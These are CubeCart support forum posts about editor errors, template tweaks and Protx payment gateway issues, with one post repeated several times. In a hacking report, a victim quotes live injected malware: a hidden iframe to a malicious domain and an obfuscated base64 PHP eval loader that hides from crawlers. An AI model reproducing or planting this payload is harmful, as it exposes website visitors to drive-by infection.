Mike MacKechnie

Thanks for your help Brian - we revisited this a few days ago on somebody else's PC and everything worked fine. The conclusion has to be that this is a problem with my PC/browser settings.

This problem is more widespread than I initially thought. It also affects the Products > Description tab as well. I cannot see lang or contextmenu displayed anywhere in the CKEDITOR object in Firebug. What I did notice however was that CKEDITOR.config.language is "" (i.e. unassigned). I'm wondering if it's because either My store is not hosted on the webroot directory My store uses en-gb as the default language but the web site is hosted in the USA I have two other instances of CKEditor running on other domains I'll keep digging.

This was resolved by the good Mr. Smither, via PM: In /classes/gui.class.php: Find: public function displayCommon() Then find: $this->_displayNavigation(); $this->_displaySearchBox(); Switch the order of these two statements.

I cannot edit the site documents in the admin panel of my new CCV6 store. "CCV6 ckeditor javascript error "TypeError: m.lang.contextmenu is undefined" ckeditor will not load; the above javascript error is displayed in Firebug when I select the "edit" icon against any of the site documents in my Admin ->File Manager->Documents menu. CubeCart Version 6.0.2 PHP Version 5.4.39 MySQL Version 5.5.42-37.1-log Browser user-agent Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 - although I have also tried it in Chrome 41.0.2272.89 m and IE 11.0.9600 with the same result. Server Software Apache

Good work Mr. Smither - that works perfectly!! Now if I could only get ckeditor to work, we could plan to go live with this....I'll raise another ticket for the ckeditor issue.

Does anybody know how to add thumbnail images to the Popular Products box in CCV6? I'm using the crosshatch skin with a few css tweaks but pretty much straight out of the box. This is my source for crosshatch/templates/box.popular.php: <div class="box"> <h3>{$LANG.catalogue.title_popular}</h3> <ol> {foreach from=$POPULAR item=product} <p class="image"> <a href="{$product.url}" title="{$product.name}"> <img src="{$product.image_small}"/> </a> </p> <li><a href="{$product.url}" title="{$product.name}">{$product.name}</a></li> {/foreach} </ol> </div> the "{$product.image_small}" placeholder is not working. I tried "{$product.image}" as well but same result. {$product.url} and {$product.name} work fine so I'm guessing that there's somewhere where I've got to get Smarty to load the $product.image placeholder. I'm a newbie to Smarty so any help would be appreciated. Here's my development CC Store:

Mr Smither I have the exact same requirement as ASU, in that I need to move the search box from the logo/header area into an area to the right of the Navigation bar. If you can remember back to July last year, I'd be grateful to see how it's done. I'm running Cubecart v6 and you can see the work in progress here. I thought it would be a simple case of moving the Smarty placeholder {$SEARCH_FORM} to between the end div tags of nav and navcontainer in box.navigation.php, but it doesn't seem to work. Any help much appreciated. code snippet: <div id="nav"> <div class="navContainer"> <ul class="dropdown"> <li><a href="{$STORE_URL}/index.php" title="{$LANG.navigation.homepage}">{$LANG.navigation.homepage}</a></li> {$NAVIGATION_TREE} {if $CTRL_CERTIFICATES && !$CATALOGUE_MODE} <li class="li-nav"><a href="{$URL.certificates}" title="{$LANG.navigation.giftcerts}">{$LANG.navigation.giftcerts}</a></li> {/if} {if $CTRL_SALE} <li class="li-nav"><a href="{$URL.saleitems}" title="{$LANG.navigation.saleitems}">{$LANG.navigation.saleitems}</a></li> {/if} </ul> </div> {$SEARCH_FORM} <=== here's what I want to do, but it does not render </div> I'm using the Crosshatch skin with a few minor css modifications.

Mr Smither I have the exact same requirement as ASU, in that I need to move the search box from the logo/header area into an area to the right of the Navigation bar. If you can remember back to July last year, I'd be grateful to see how it's done. I'm running Cubecart v6 and you can see the work in progress here. I thought it would be a simple case of moving the Smarty placeholder {$SEARCH_FORM} to between the end div tags of nav and navcontainer in box.navigation.php, but it doesn't seem to work. Any help much appreciated. code snippet: <div id="nav"> <div class="navContainer"> <ul class="dropdown"> <li><a href="{$STORE_URL}/index.php" title="{$LANG.navigation.homepage}">{$LANG.navigation.homepage}</a></li> {$NAVIGATION_TREE} {if $CTRL_CERTIFICATES && !$CATALOGUE_MODE} <li class="li-nav"><a href="{$URL.certificates}" title="{$LANG.navigation.giftcerts}">{$LANG.navigation.giftcerts}</a></li> {/if} {if $CTRL_SALE} <li class="li-nav"><a href="{$URL.saleitems}" title="{$LANG.navigation.saleitems}">{$LANG.navigation.saleitems}</a></li> {/if} </ul> </div> {$SEARCH_FORM} <=== here's what I want to do, but it does not render </div> I'm using the Crosshatch skin with a few minor css modifications. Mr Smither I have the exact same requirement as ASU, in that I need to move the search box from the logo/header area into an area to the right of the Navigation bar. If you can remember back to July last year, I'd be grateful to see how it's done. I'm running Cubecart v6 and you can see the work in progress here. I thought it would be a simple case of moving the Smarty placeholder {$SEARCH_FORM} to between the end div tags of nav and navcontainer in box.navigation.php, but it doesn't seem to work. Any help much appreciated. code snippet: <div id="nav"> <div class="navContainer"> <ul class="dropdown"> <li><a href="{$STORE_URL}/index.php" title="{$LANG.navigation.homepage}">{$LANG.navigation.homepage}</a></li> {$NAVIGATION_TREE} {if $CTRL_CERTIFICATES && !$CATALOGUE_MODE} <li class="li-nav"><a href="{$URL.certificates}" title="{$LANG.navigation.giftcerts}">{$LANG.navigation.giftcerts}</a></li> {/if} {if $CTRL_SALE} <li class="li-nav"><a href="{$URL.saleitems}" title="{$LANG.navigation.saleitems}">{$LANG.navigation.saleitems}</a></li> {/if} </ul> </div> {$SEARCH_FORM} <=== here's what I want to do, but it does not render </div> I'm using the Crosshatch skin with a few minor css modifications. Mr Smither I have the exact same requirement as ASU, in that I need to move the search box from the logo/header area into an area to the right of the Navigation bar. If you can remember back to July last year, I'd be grateful to see how it's done. I'm running Cubecart v6 and you can see the work in progress here. I thought it would be a simple case of moving the Smarty placeholder {$SEARCH_FORM} to between the end div tags of nav and navcontainer in box.navigation.php, but it doesn't seem to work. Any help much appreciated. code snippet: <div id="nav"> <div class="navContainer"> <ul class="dropdown"> <li><a href="{$STORE_URL}/index.php" title="{$LANG.navigation.homepage}">{$LANG.navigation.homepage}</a></li> {$NAVIGATION_TREE} {if $CTRL_CERTIFICATES && !$CATALOGUE_MODE} <li class="li-nav"><a href="{$URL.certificates}" title="{$LANG.navigation.giftcerts}">{$LANG.navigation.giftcerts}</a></li> {/if} {if $CTRL_SALE} <li class="li-nav"><a href="{$URL.saleitems}" title="{$LANG.navigation.saleitems}">{$LANG.navigation.saleitems}</a></li> {/if} </ul> </div> {$SEARCH_FORM} <=== here's what I want to do, but it does not render </div> I'm using the Crosshatch skin with a few minor css modifications. Mr Smither I have the exact same requirement as ASU, in that I need to move the search box from the logo/header area into an area to the right of the Navigation bar. If you can remember back to July last year, I'd be grateful to see how it's done. I'm running Cubecart v6 and you can see the work in progress here. I thought it would be a simple case of moving the Smarty placeholder {$SEARCH_FORM} to between the end div tags of nav and navcontainer in box.navigation.php, but it doesn't seem to work. Any help much appreciated. code snippet: <div id="nav"> <div class="navContainer"> <ul class="dropdown"> <li><a href="{$STORE_URL}/index.php" title="{$LANG.navigation.homepage}">{$LANG.navigation.homepage}</a></li> {$NAVIGATION_TREE} {if $CTRL_CERTIFICATES && !$CATALOGUE_MODE} <li class="li-nav"><a href="{$URL.certificates}" title="{$LANG.navigation.giftcerts}">{$LANG.navigation.giftcerts}</a></li> {/if} {if $CTRL_SALE} <li class="li-nav"><a href="{$URL.saleitems}" title="{$LANG.navigation.saleitems}">{$LANG.navigation.saleitems}</a></li> {/if} </ul> </div> {$SEARCH_FORM} <=== here's what I want to do, but it does not render </div> I'm using the Crosshatch skin with a few minor css modifications. Mr Smither I have the exact same requirement as ASU, in that I need to move the search box from the logo/header area into an area to the right of the Navigation bar. If you can remember back to July last year, I'd be grateful to see how it's done. I'm running Cubecart v6 and you can see the work in progress here. I thought it would be a simple case of moving the Smarty placeholder {$SEARCH_FORM} to between the end div tags of nav and navcontainer in box.navigation.php, but it doesn't seem to work. Any help much appreciated. code snippet: <div id="nav"> <div class="navContainer"> <ul class="dropdown"> <li><a href="{$STORE_URL}/index.php" title="{$LANG.navigation.homepage}">{$LANG.navigation.homepage}</a></li> {$NAVIGATION_TREE} {if $CTRL_CERTIFICATES && !$CATALOGUE_MODE} <li class="li-nav"><a href="{$URL.certificates}" title="{$LANG.navigation.giftcerts}">{$LANG.navigation.giftcerts}</a></li> {/if} {if $CTRL_SALE} <li class="li-nav"><a href="{$URL.saleitems}" title="{$LANG.navigation.saleitems}">{$LANG.navigation.saleitems}</a></li> {/if} </ul> </div> {$SEARCH_FORM} <=== here's what I want to do, but it does not render </div> I'm using the Crosshatch skin with a few minor css modifications.

Raven, Raven, Raven, for goodness' sake don't close the thread without telling us what the problem was and how you found it!!!! This is a very widespread hack that has caused me and many other people no end of problems in the past fortnight. There is a good article at http://blog.unmaskparasites.com/2011/03/02/versatile-cc-attacks/ whcih describes what I think is the same attack.

I have rebuilt my store from scratch on a different directory, and it is no longer infected. However, all my other subdomains are still infected, which makes me think that there is some rogue code somewhere on one or more of my sites which is regenerating the iframe whenever it is loaded. I have searched for the usual suspects (eval, base64_decode, gzinflate, gzuncompress) but there's got to be something else out there that is doing the damage. I have also reported it to unmaskparasites.com as follows: repeated hacks into all index.htm files; insert of iframe "<iframe src="http://bdfj45jfdkhkm.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAwcCAQMMAw==" width="1" height="1"></iframe>" as first line after <body> tag or for index.php instances: <?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoI jY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG 9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly9mZ2VkeXUzaHJlaHNoLmNvLmNjL1FRa0ZCZzBBQVEwTUJBMERFa2NKQlFZTkF3Y0NBUU1NQXc9PSIgd2lkdGg9IjEiIGhlaWdodD0iMSI+PC9pZnJhbWU+JzsNCn0=')); sites affected http://www.wymeruk.co.uk/ http://www.wymeruk.co.uk/Store http://mbtp.wymeruk.co.uk/ http://www.scruntlehawk.com/ http://autumn.wymeruk.co.uk/ http://www.removalsbedford.co.uk/ http://www.nicksimper.com/ I edit the files remotely to remove the iframe tags but within 24 hours they are back, usually referencing a new domain name in their src= statement. I have changed all ftp passwords and upgraded wordpress where applicable. All these sites are hosted on the same HostMonster account. http://www.removalsbedford.co.uk/ was running an old version of Wordpress prior to the attack.

I have had the exact same problem since 18th February. It appears to be a trojan, which in my case entered via an out-of-date version of Wordpress.

Did you get an answer to this? As of yesterday I am getting the exact same problem.

If anyone has seen this before, or knows what the problem is, I'd be very grateful for an explanation! J My client has one e-mail from Cubecart, and two e-mails from Protx, for two separate orders from the same person. From Cubecart: New Store Order #070831-170719-4045, for £6.85. From Protx, Cart - 070831-170719-4045, VendorTxCode CC3743266818 for £11.96 Cart - 070831-170719-4045, VendorTxCode: CC3601865550, for £6.85 Looking on VSP Admin, the £6.85 order was placed on 31/08/2007 17:07:24, and the £11.96 order was placed on 01/09/2007 13:26:08. When I look at the Cubecart Admin Screen, I see one order on the system, 070831-170719-4045… Pending… Sep 01 2007, 13:25 PM… £11.96 You see where this is going? Everything is out of step! Cubecart has confirmed the first order by e-mail but is not showing it on Admin, yet the one on Admin was never confirmed by e-mail! And they both have the same Cubecart Order Number!!!!!!! Is it possible that the customer did not log off my website, and that Cubecart sent the second order (20 hours later) with the same order number? If so, how can I stop this from happening? Surely the cookies should time out after a short time – less than 20 hours at any rate? Furthermore, why is the order still set as “Pending†on Cubecart? Now I’ve seen a similar problem where a customer tries to place an order, goes into the Protx Payment Gateway, but then changes their mind, cancels the transaction, goes back to Cubecart and places another order. More details at http://www.cubecart.com/site/forums/index....showtopic=25206 I’m running Cubecart 3.0.16. Any ideas anyone?

Everybody is having problems with Protx since their upgrade. Just take a look at https://support.protx.com/forum/Forum23-1.aspx The Protx Support Forum

Oh well the fingers crossed didn't help. We have had "Status Detail: 5030 : Unable to decrypt the request message. This might be caused by an incorrect password or invalid encoding." problems ever since we changed the URL. We have got service back by restoring our php to point at the old gateway URL ("https://ukvps.protx.com/vps2form/submit.asp").

Well...... I've changed my Gateway URL to the new one today, as the Protx forum is full of URL redirection problems (amongst many others.. see https://support.protx.com/forum/Topic2375-21-1.aspx). Fingers crossed! It would seem that just about everything that can go wrong with Protx has gone wrong in the last few days since their upgrade. I have a client using Protx, and I know that protx is having problems today. I held off making the URL changes... but as their site wasnt accepting payments to protx I thought I'd give the URL change a try. It fixed the clients site. I tried to expain that protx has said the old urls would work... (this was of no interest to the client who just wanted a working store) So to answer you question "Why?" - Because Protx have sent multiple advance notices, and NOT acting on them could disable a store AND make you look unresponsive to clients. However, as I said, it was only my "suggestion". Hi There, I'm on the newest version of Cubecart, and I'm setting up Protx as the payment gateway at the moment (never used it before).... When the new version of cubecart comes out, I don't really want to upgrade, as I've modded this version exactly how I want it. what is this about changing the links ??? Do I need to do this, and how do I do it ? Lewis You should have received an e-mail from Protx telling you about the new gateway URL's. The lines of code that need to be changed are at the bottom of modules\gateway\Protx\transfer.inc.php. If you're in any doubt I would suggest you contact Protx although iI would suggest you hang fire for a few days in lieu of their upgrade problems....

Hi cubecarters, I received a (fairly long-winded) e-mail from Protx on 25/07/07, telling me about the new VSP system launch on August 1st. The bit that caught my eye was : "New Live Site Payment System URLs The addresses to which you should send your transaction requests are different in the new system. These URLs all begin with https://ukvps.protx.com Old URL ................................................. New URL ... /vps2Form/submit.asp or /VSPAdmin/submit.asp ........................... /vspgateway/service/vspform-register.vsp" .. now doesn't this mean that we have to change our modules\gateway\Protx\transfer.inc.php? right down at the bottom of the file you'll find the lines } elseif($module['gate'] == "live"){ $formAction ="https://ukvps.protx.com/vps2form/submit.asp"; } Do we need to change this? Is Al going to provide a mod?

This usually happens when you are either repeatedly making changes to your skin files and uploading them or one of your skin files did not upload correctly. Firstly, clear your browser cache and cookies then try again. If that doesnt make a difference the try re-uploading your skin directory.

My client is thinking of adding 3D secure but is scared of doing it until someone else has done it and reported back. Anything to look out for? We are thinking of applying "The "Medium Rule base". Good idea or not? I don't want to be the first person in the world to do this. It all sounds harmless enough but I'm a pessimistic old bugger and I want someone else to find out all the horrible things that can go wrong before I do.

Have you done his yet? My client is thinking of adding 3D secure but is scared of doing it until someone else has done it and reported back. Anything to look out for? We are thinking of applying "The "Medium Rule base". Good idea or not?

A few things to check first: The "Merchant ID" name in the Cubecart Admin Panel should in fact be the VSP Vendor Name thatProtx give you when you obtain your account information. Make sure that your encryption password passphrase doesn't have any trailing or leading spaces by accident. Set the testing parameter to "test" - I could not get "simulator" to work. The encryption password should have been sent to you by Protx in a letter (snail mail!) - the password we were supplied with was 16 characters long and was a mixture of letters and numbers. Make sure that your merchant id is correct - can you log on to your protx VSP Admin screen? This will prove that your merchant id is correct as you have to enter it in the first field at log on. If you do need to change the payment URL though, the code to go for is in modules\gateway\Protx\transfer.inc.php right down at the bottom of the file you'll find the lines /////////////////////////// // Other Vars //////// if($module['gate'] == "sim") { $formAction = "https://ukvpstest.protx.com/VSPSimulator/VSPFormGateway.asp"; } elseif($module['gate'] == "test") { $formAction ="https://ukvpstest.protx.com/vps2form/submit.asp"; } elseif($module['gate'] == "live"){ $formAction ="https://ukvps.protx.com/vps2form/submit.asp"; } ... so I presume the line you need to change will be the red one.

Does anyone know how to GET order notifications ??? To get order notifications, try this in your general settings in Admin: Mail Sending Method: mail() SMTP Host: mail.yoursevername.com ------ whatever your SMTP server name is called SMTP Port: leave blank Use Authentication? No (this works for me on my server - can't guarantee it'll work on yours) You don't get notified from Cubecart when an order has gone all the way through the final steps of the payment processor. You either get a notification when the order has been placed (gone into pending) or not at all. The trick is to wait for the corresponding e-mail from your gateway payment processor and then match the two e-mails up to see if the order has completed successfully. According to Devellion, the next "major release" (3.1?) will do this differently, but at the moment you're stuck with the above choice.

Indeed: https://www.cubecart.com/site/helpdesk/inde...;kbarticleid=19 One thing the tutorial doesn't mention, which I discovered when I moved a 3.0.12 cubecart from one server to another, is that the phpMyAdmin export utility does strange things to non-English characters when you run the SQL on your new server. I found that characters such as à , é, ñ, and so on converted to "?" on the new database. Not earth-shattering, but a drag nonetheless. ... unless I'm missing something ......

The encryption password should have been sent to you by Protx in a letter (snail mail!) - the password we were supplied with was 16 characters long and was a mixture of letters and numbers. Make sure that your merchant id is correct - can you log on to your protx VSP Admin screen? This will prove that your merchant id is correct as you have to enter it in the first field at log on. You will always get an email from cubecart saying your order was successful; cubecart does not check what happens once you enter the gateway. In other words, everything is working fine in cubecart, but something is wrong once you hit Protx. I reckon your encryption password is wrong, maybe mistyped.

I have also mentioned this in http://www.cubecart.com/site/forums/index....showtopic=22229. There is a nasty feature of Cubecart's retention of session data when processing an order across the Protx gateway(it may happen with other gateways but I have only experienced it with Protx Form). The scenario: A customer places an order, proceeds to checkout and is then transferred to the Protx gateway. Once he's there he changes his mind and cancels the transaction. By now the e-mail has been sent from Cubecart confirming the order. Cancelling the transaction returns him to Cubecart, but his shopping basket is still full; if he removes one or more of the items from the basket, then checks out again, he transfers to Protx - Protx has cancelled the prevous transaction and processes this new one. This time he pays for his goods and completes the transaction. The problem is that Cubecart retains the order number from the first failed transaction and does not send a second e-mail to the administrator notifying him of the change to the order. I have a client to whom this has happened twice - both times he has missed the discrepancy and has ended up out of pocket as a result. He receives an e-mail from Protx telling him that the first transaction failed, but because he has a matching pair of e-mails from Protx and Cubecart telling him about a successful order, and he is a busy bloke who receives quite a few failure notifiations from Protx, he did not notice the difference in the invoice amounts until he checked his monthly figures. Would it not be possible for Cubecart to send another e-mail when the customer goes throught the Protx gateway for the second time? I have today upgraded to 3.0.15 (these two problems occurred in 3.0.12), but I'm going to raise a ticket with Ali about this regardless as I think it's something that he should be aware of...... unless any of you can tell me of a fix?